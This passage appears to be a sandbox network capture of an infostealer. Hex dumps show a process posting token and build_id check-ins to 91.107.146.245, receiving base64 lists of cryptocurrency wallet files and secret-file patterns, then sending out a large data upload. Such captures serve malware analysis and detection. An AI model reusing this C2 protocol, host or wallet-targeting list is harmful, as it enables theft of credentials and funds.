2024-09-18 12:31:05 UTC	16384	IN	Data Raw: 89 59 18 e8 60 50 fe ff 31 c0 39 46 24 0f 84 b8 f6 ff ff 8b 57 10 85 d2 74 09 8b 4c 24 20 e8 75 c2 ff ff 8b 7c 24 0c c7 47 10 00 00 00 00 e9 98 f6 ff ff 8b 06 89 81 44 01 00 00 e9 e3 f9 ff ff ff 81 3c 01 00 00 e9 80 fc ff ff 8b 44 24 14 80 b8 d0 00 00 00 00 0f 85 f3 fb ff ff 8b 44 24 20 8b 40 10 8b 4c 38 0c 83 79 48 00 0f 85 de fb ff ff ff 34 38 68 b4 e0 1c 10 ff 74 24 1c e8 06 09 00 00 83 c4 0c e9 c5 fb ff ff 8b 4c 24 1c e9 ae fd ff ff 8a 80 08 f7 19 10 3a 83 08 f7 19 10 0f 84 02 fa ff ff e9 c9 f9 ff ff 8b 44 24 20 80 b8 b1 00 00 00 00 0f 84 47 04 00 00 68 48 01 1d 10 ff 74 24 18 e8 5f 2a 01 00 83 c4 08 e9 33 f7 ff ff 8b 44 24 0c 80 48 1e 01 66 83 78 22 00 0f 8e a5 f5 ff ff 31 c9 b8 0e 00 00 00 8b 54 24 0c 8b 52 04 8b 74 02 f6 89 f7 c1 ef 04 83 e7 0f 83 Data Ascii: Y`P19F$WtL$ u\|$GD<D$D$ @L8yH48ht$L$:D$ GhHt$_*3D$Hfx"1T$Rt
2024-09-18 12:31:05 UTC	16384	IN	Data Raw: 00 00 00 85 c0 0f 85 34 f9 ff ff e9 a7 e8 ff ff c7 44 24 24 00 00 00 00 e9 0b f1 ff ff 8b 44 24 0c 8b 40 10 8b 40 1c 8b 4c 24 08 3b 41 3c 0f 84 95 ea ff ff 8b 7c 24 08 ff 37 68 27 f8 1c 10 ff 74 24 0c e8 e0 ea 00 00 83 c4 0c c7 44 24 24 00 00 00 00 e9 a2 f0 ff ff 68 48 e4 1b 10 8b 7c 24 08 57 e8 c1 ea 00 00 83 c4 08 be 0b 00 00 00 68 40 7e 1c 10 68 14 ce 01 00 68 40 bb 1b 10 68 78 fc 1b 10 56 e8 8f 4f 01 00 83 c4 14 89 77 0c c7 44 24 1c 00 00 00 00 e9 83 f8 ff ff 66 ba 1e 00 31 c0 85 c9 0f 85 54 f1 ff ff 31 d2 e9 5b f1 ff ff 31 ff 66 ba 28 00 be ff 0f 00 00 89 cb 31 c0 83 c2 28 89 f9 0f a4 d9 1c c1 e8 04 39 de bb 00 00 00 00 19 fb 89 cb 89 c7 0f 83 f2 f0 ff ff eb df a9 fd ff ff ff 74 65 31 f6 46 b8 ec bb 1b 10 e9 c1 fd ff ff 31 c0 e9 85 f2 ff ff c7 44 24 Data Ascii: 4D$$D$@@L$;A<\|$7h't$D$$hH\|$Wh@~hh@hxVOwD$f1T1[1f(1(9te1F1D$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	49793	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:07 UTC	327	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDBGDGCGDAKFIDGIDBF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:31:07 UTC	1145	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 30 36 35 34 61 39 35 32 66 35 63 35 33 30 34 32 37 66 30 64 66 36 63 62 33 63 31 36 31 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 63 36 34 35 37 36 30 31 63 37 61 36 32 63 64 37 31 61 32 38 63 64 65 64 37 64 35 66 35 62 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 Data Ascii: ------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="token"780654a952f5c530427f0df6cb3c1611------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="build_id"7c6457601c7a62cd71a28cded7d5f5be------IJDBGDGCGDAKFIDGIDBFCont
2024-09-18 12:31:08 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:31:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:31:08 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	49795	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:10 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:31:10 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 30 36 35 34 61 39 35 32 66 35 63 35 33 30 34 32 37 66 30 64 66 36 63 62 33 63 31 36 31 31 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 63 36 34 35 37 36 30 31 63 37 61 36 32 63 64 37 31 61 32 38 63 64 65 64 37 64 35 66 35 62 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 Data Ascii: ------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="token"780654a952f5c530427f0df6cb3c1611------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="build_id"7c6457601c7a62cd71a28cded7d5f5be------EBKKKEGIDBGHIDGDHDBFCont
2024-09-18 12:31:10 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:31:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:31:10 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	49797	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:13 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAAEBFHJJDAAKFIECGD User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:31:13 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 30 36 35 34 61 39 35 32 66 35 63 35 33 30 34 32 37 66 30 64 66 36 63 62 33 63 31 36 31 31 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 63 36 34 35 37 36 30 31 63 37 61 36 32 63 64 37 31 61 32 38 63 64 65 64 37 64 35 66 35 62 65 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 0d 0a 43 6f 6e 74 Data Ascii: ------FCAAEBFHJJDAAKFIECGDContent-Disposition: form-data; name="token"780654a952f5c530427f0df6cb3c1611------FCAAEBFHJJDAAKFIECGDContent-Disposition: form-data; name="build_id"7c6457601c7a62cd71a28cded7d5f5be------FCAAEBFHJJDAAKFIECGDCont
2024-09-18 12:31:13 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:31:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:31:13 UTC	1524	IN	Data Raw: 35 65 38 0d 0a 52 6d 78 68 63 32 68 38 4a 55 52 53 53 56 5a 46 58 31 4a 46 54 55 39 57 51 55 4a 4d 52 53 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 Data Ascii: 5e8Rmxhc2h8JURSSVZFX1JFTU9WQUJMRSVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	49798	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:15 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 461 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:31:15 UTC	461	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 30 36 35 34 61 39 35 32 66 35 63 35 33 30 34 32 37 66 30 64 66 36 63 62 33 63 31 36 31 31 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 63 36 34 35 37 36 30 31 63 37 61 36 32 63 64 37 31 61 32 38 63 64 65 64 37 64 35 66 35 62 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 Data Ascii: ------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="token"780654a952f5c530427f0df6cb3c1611------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="build_id"7c6457601c7a62cd71a28cded7d5f5be------EBKKKEGIDBGHIDGDHDBFCont
2024-09-18 12:31:16 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:31:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:31:16 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	49799	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:19 UTC	329	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBAFIIJKJEGIDGDGIIDH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 145909 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:31:19 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 30 36 35 34 61 39 35 32 66 35 63 35 33 30 34 32 37 66 30 64 66 36 63 62 33 63 31 36 31 31 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 63 36 34 35 37 36 30 31 63 37 61 36 32 63 64 37 31 61 32 38 63 64 65 64 37 64 35 66 35 62 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 0d 0a 43 6f 6e 74 Data Ascii: ------FBAFIIJKJEGIDGDGIIDHContent-Disposition: form-data; name="token"780654a952f5c530427f0df6cb3c1611------FBAFIIJKJEGIDGDGIIDHContent-Disposition: form-data; name="build_id"7c6457601c7a62cd71a28cded7d5f5be------FBAFIIJKJEGIDGDGIIDHCont
2024-09-18 12:31:19 UTC	16355	OUT	Data Raw: 50 78 4d 53 69 6a 46 47 4b 42 6e 73 31 6d 46 2b 79 57 35 5a 46 62 45 61 39 52 37 56 61 65 33 56 6f 77 79 78 52 44 76 6b 72 2f 41 49 59 71 70 61 2f 38 65 55 48 2f 41 46 7a 58 2b 56 50 66 55 4a 37 5a 53 73 32 6e 7a 74 42 6a 35 5a 6f 50 33 67 2f 46 52 38 77 2f 41 47 76 7a 4c 43 4a 31 4b 6b 6f 62 6e 36 6e 4f 53 68 54 6a 49 63 38 49 69 77 30 6b 41 56 4d 34 5a 6b 6b 4a 78 37 38 6a 70 58 4d 65 49 76 42 74 6d 6c 72 66 61 70 48 63 7a 69 55 4b 30 70 52 73 46 53 65 76 70 58 58 77 54 66 61 62 4a 4a 59 69 41 48 32 6c 47 59 5a 42 42 77 51 63 66 53 73 7a 57 46 65 50 77 7a 71 73 54 75 47 38 75 4e 77 70 41 78 78 74 42 78 31 50 54 4f 4b 39 58 42 58 6f 56 6b 36 58 75 74 32 54 2b 38 34 4d 64 54 68 58 6f 76 32 69 76 5a 4e 72 37 6a 79 43 69 69 69 76 75 44 38 37 43 67 30 55 55 Data Ascii: PxMSijFGKBns1mF+yW5ZFbEa9R7Vae3VowyxRDvkr/AIYqpa/8eUH/AFzX+VPfUJ7ZSs2nztBj5ZoP3g/FR8w/AGvzLCJ1Kkobn6nOShTjIc8Iiw0kAVM4ZkkJx78jpXMeIvBtmlrfapHcziUK0pRsFSevpXXwTfabJJYiAH2lGYZBBwQcfSszWFePwzqsTuG8uNwpAxxtBx1PTOK9XBXoVk6Xut2T+84MdThXov2ivZNr7jyCiiivuD87Cg0UU
2024-09-18 12:31:19 UTC	16355	OUT	Data Raw: 37 35 6f 37 35 46 64 73 6e 4a 79 51 2b 54 6b 38 31 2b 66 79 70 7a 70 76 6c 6e 46 70 6e 31 32 46 6d 33 54 66 4a 46 74 50 71 76 36 33 4b 76 77 35 2f 35 48 33 54 50 2b 32 76 38 41 36 4b 65 75 78 73 76 46 30 42 74 37 36 56 2f 48 2f 77 42 6f 53 47 41 4f 57 2f 73 59 70 35 4f 5a 45 58 64 6a 62 38 33 33 74 75 50 39 72 50 61 73 2f 77 41 46 65 43 76 45 4f 6c 2b 4c 72 50 55 4e 51 73 66 4b 67 69 38 77 75 35 6d 52 6a 6b 6f 77 48 41 59 6e 71 61 39 62 6f 67 6e 59 37 38 48 52 6c 37 4b 30 72 72 56 39 31 30 58 6d 6a 67 4c 6e 56 34 64 5a 2b 48 65 70 33 45 47 73 2f 77 42 72 4b 73 36 49 5a 2f 73 70 67 32 6b 4e 47 64 75 30 67 5a 36 35 7a 37 2b 31 63 42 7a 58 72 33 6a 62 2f 6b 55 4c 37 36 78 2f 2b 6a 46 72 79 4b 76 70 73 6b 2f 68 79 39 54 77 2b 49 46 79 7a 70 72 79 45 6f 6f 6f Data Ascii: 75o75FdsnJyQ+Tk81+fypzpvlnFpn12Fm3TfJFtPqv63Kvw5/5H3TP+2v8A6KeuxsvF0Bt76V/H/wBoSGAOW/sYp5OZEXdjb833tuP9rPas/wAFeCvEOl+LrPUNQsfKgi8wu5mRjkowHAYnqa9bognY78HRl7K0rrV910XmjgLnV4dZ+Hep3EGs/wBrKs6IZ/spg2kNGdu0gZ65z7+1cBzXr3jb/kUL76x/+jFryKvpsk/hy9Tw+IFyzpryEooo
2024-09-18 12:31:19 UTC	16355	OUT	Data Raw: 50 6a 32 35 50 57 2b 6c 76 76 31 4a 64 50 4b 6f 71 4b 54 54 33 76 35 6d 76 59 33 74 6a 65 74 49 35 6b 6e 74 37 65 56 30 74 37 54 7a 64 70 5a 70 70 4d 69 4d 4e 67 41 59 4f 31 69 63 64 4f 6d 65 39 4a 5a 33 41 75 72 5a 4a 51 43 43 65 43 44 32 4e 55 54 4c 66 43 4a 62 58 54 64 4e 74 72 4b 33 6a 75 47 75 50 39 4b 69 69 76 44 76 77 41 75 30 79 52 6e 61 46 77 63 59 35 2b 59 35 4a 70 57 76 62 67 33 6c 78 4f 32 69 79 62 70 37 69 57 64 77 6c 79 51 70 4c 6f 41 41 4d 41 59 41 66 4c 2f 6a 74 37 56 32 55 61 2b 4a 6a 4e 75 70 46 75 4e 76 6e 70 62 38 39 54 7a 73 52 68 73 48 4f 6d 6f 30 70 70 53 76 72 32 73 37 2f 6c 6f 61 6c 4a 69 71 74 72 4c 4c 4b 46 4c 32 7a 77 62 59 6c 56 6c 5a 79 32 35 77 4d 4d 33 50 54 4a 79 63 64 73 31 61 48 53 76 55 68 4c 6d 6a 65 31 6a 78 61 6b 4f Data Ascii: Pj25PW+lvv1JdPKoqKTT3v5mvY3tjetI5knt7eV0t7TzdpZppMiMNgAYO1icdOme9JZ3AurZJQCCeCD2NUTLfCJbXTdNtrK3juGuP9KiivDvwAu0yRnaFwcY5+Y5JpWvbg3lxO2iybp7iWdwlyQpLoAAMAYAfL/jt7V2Ua+JjNupFuNvnpb89TzsRhsHOmo0ppSvr2s7/loalJiqtrLLKFL2zwbYlVlZy25wMM3PTJycds1aHSvUhLmje1jxakO
2024-09-18 12:31:19 UTC	16355	OUT	Data Raw: 2f 65 33 70 56 72 6d 37 49 4d 62 5a 55 35 51 52 34 4f 59 31 51 38 71 41 63 67 38 35 4c 45 73 64 62 54 62 65 36 74 64 50 69 67 76 4c 77 33 6b 38 65 56 4e 77 59 77 68 63 5a 4f 30 73 42 78 75 78 6a 4a 47 41 54 6b 67 44 4f 41 41 65 65 66 46 6a 69 38 30 50 2f 41 48 4c 6a 2b 63 56 63 54 47 65 4b 37 62 34 73 2f 77 44 48 35 6f 66 2b 35 63 66 7a 69 72 69 59 75 67 72 36 58 4b 2f 34 43 2b 5a 38 74 6d 33 2b 38 50 35 46 6c 61 6b 71 4e 61 66 58 72 49 38 64 69 30 55 6c 46 4d 51 74 4a 52 52 51 4d 44 52 52 53 55 44 46 6f 70 4b 4b 41 46 46 49 61 53 69 69 77 44 4c 72 2f 6b 48 58 48 2f 41 66 35 31 55 30 30 2f 76 5a 66 39 32 72 56 31 2f 79 44 37 6e 36 4c 2f 36 45 4b 70 36 5a 2f 72 5a 50 39 33 2b 74 4f 50 77 73 52 70 5a 6f 36 6d 6b 7a 78 52 53 41 57 6c 42 70 4b 4b 41 44 4e 4f Data Ascii: /e3pVrm7IMbZU5QR4OY1Q8qAcg85LEsdbTbe6tdPigvLw3k8eVNwYwhcZO0sBxuxjJGATkgDOAAeefFji80P/AHLj+cVcTGeK7b4s/wDH5of+5cfziriYugr6XK/4C+Z8tm3+8P5FlakqNafXrI8di0UlFMQtJRRQMDRRSUDFopKKAFFIaSiiwDLr/kHXH/Af51U00/vZf92rV1/yD7n6L/6EKp6Z/rZP93+tOPwsRpZo6mkzxRSAWlBpKKADNO
2024-09-18 12:31:19 UTC	16355	OUT	Data Raw: 50 41 39 34 6d 70 79 4c 71 6b 71 6e 52 34 62 4f 65 79 74 4c 4d 58 58 6e 62 59 70 57 58 49 7a 35 55 5a 55 42 56 41 41 4a 63 38 2f 65 34 35 37 79 69 6a 2b 76 30 48 64 2f 31 39 35 68 32 2f 68 70 55 68 30 39 4c 72 56 62 2b 2b 61 77 75 52 63 51 53 58 48 6c 42 68 69 4e 6f 77 70 32 49 75 56 77 78 50 50 4f 65 2f 61 68 50 43 31 6b 6b 46 78 62 74 50 64 79 57 74 78 39 71 38 36 33 61 54 35 4a 50 74 44 37 33 79 41 42 79 4f 51 70 36 67 4d 65 75 61 33 4b 4b 48 72 75 4a 4f 32 33 39 66 31 63 35 31 2f 43 4d 4e 31 70 63 4f 6e 61 6c 71 75 6f 36 68 42 45 78 5a 50 50 61 4a 54 6e 62 74 58 4a 6a 52 63 6c 50 76 4b 54 79 47 77 63 6b 67 59 73 32 33 68 2f 37 4a 72 44 36 6a 44 71 6c 38 70 6d 56 66 74 4d 48 37 6f 78 33 44 71 6d 77 4f 33 79 62 67 32 41 50 75 46 52 38 6f 34 72 5a 6f 6f Data Ascii: PA94mpyLqkqnR4bOeytLMXXnbYpWXIz5UZUBVAAJc8/e457yij+v0Hd/195h2/hpUh09LrVb++awuRcQSXHlBhiNowp2IuVwxPPOe/ahPC1kkFxbtPdyWtx9q863aT5JPtD73yAByOQp6gMeua3KKHruJO239f1c51/CMN1pcOnalquo6hBExZPPaJTnbtXJjRclPvKTyGwckgYs23h/7JrD6jDql8pmVftMH7ox3DqmwO3ybg2APuFR8o4rZoo
2024-09-18 12:31:19 UTC	16355	OUT	Data Raw: 64 39 2f 49 31 36 4b 7a 62 2f 55 5a 72 66 54 77 73 79 61 59 73 44 36 5a 5a 50 61 4c 43 59 66 74 52 75 47 43 46 69 77 58 39 34 46 32 37 79 53 2f 42 34 78 7a 69 72 38 5a 4c 52 49 57 36 6c 51 54 58 5a 68 63 58 48 45 58 73 72 57 50 4e 78 32 58 79 77 66 4c 7a 4f 2f 4d 68 31 46 4c 52 58 57 65 65 4a 52 53 30 6c 4d 41 6f 6f 6f 6f 41 53 69 6c 6f 37 55 44 45 6f 6f 6f 6f 41 54 38 4b 4b 57 6a 46 41 43 55 55 74 46 41 43 55 55 74 49 61 41 43 69 69 69 67 42 4b 4b 57 6b 6f 41 4b 53 6c 6f 6f 47 4a 52 52 69 69 6d 41 55 6c 4c 52 51 4d 53 69 6c 70 4b 59 42 53 55 74 46 41 78 4b 4b 58 46 47 4b 59 43 55 59 70 63 55 55 42 63 54 46 42 46 4c 69 6c 78 51 46 78 6c 47 4b 58 48 76 52 78 36 69 69 34 78 4b 4b 58 63 74 4a 76 58 30 4e 46 77 43 69 6b 33 2b 67 46 4a 76 50 72 52 63 64 6d 4f Data Ascii: d9/I16Kzb/UZrfTwsyaYsD6ZZPaLCYftRuGCFiwX94F27yS/B4xzir8ZLRIW6lQTXZhcXHEXsrWPNx2XywfLzO/Mh1FLRXWeeJRS0lMAooooASilo7UDEooooAT8KKWjFACUUtFACUUtIaACiiigBKKWkoAKSlooGJRRiimAUlLRQMSilpKYBSUtFAxKKXFGKYCUYpcUUBcTFBFLilxQFxlGKXHvRx6ii4xKKXctJvX0NFwCik3+gFJvPrRcdmO
2024-09-18 12:31:19 UTC	16355	OUT	Data Raw: 45 4c 2f 4f 6b 70 65 76 70 6d 6b 4a 2f 57 6b 4d 44 78 7a 53 41 38 2b 6f 6f 6f 35 78 54 47 49 66 72 52 78 52 6a 46 48 38 71 42 69 64 36 54 6a 46 4c 32 2f 6e 53 63 55 67 44 6f 4d 30 64 53 63 64 65 39 41 36 30 48 74 54 47 49 65 74 4b 4f 75 4b 54 2f 50 53 69 67 5a 36 45 31 56 70 2f 75 4e 39 4b 73 74 56 61 66 37 6a 66 53 75 65 70 38 4c 50 6c 71 50 78 6f 2b 67 55 2f 77 42 57 76 30 46 4f 70 71 66 36 74 66 6f 4b 64 58 78 4a 2b 6f 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 Data Ascii: 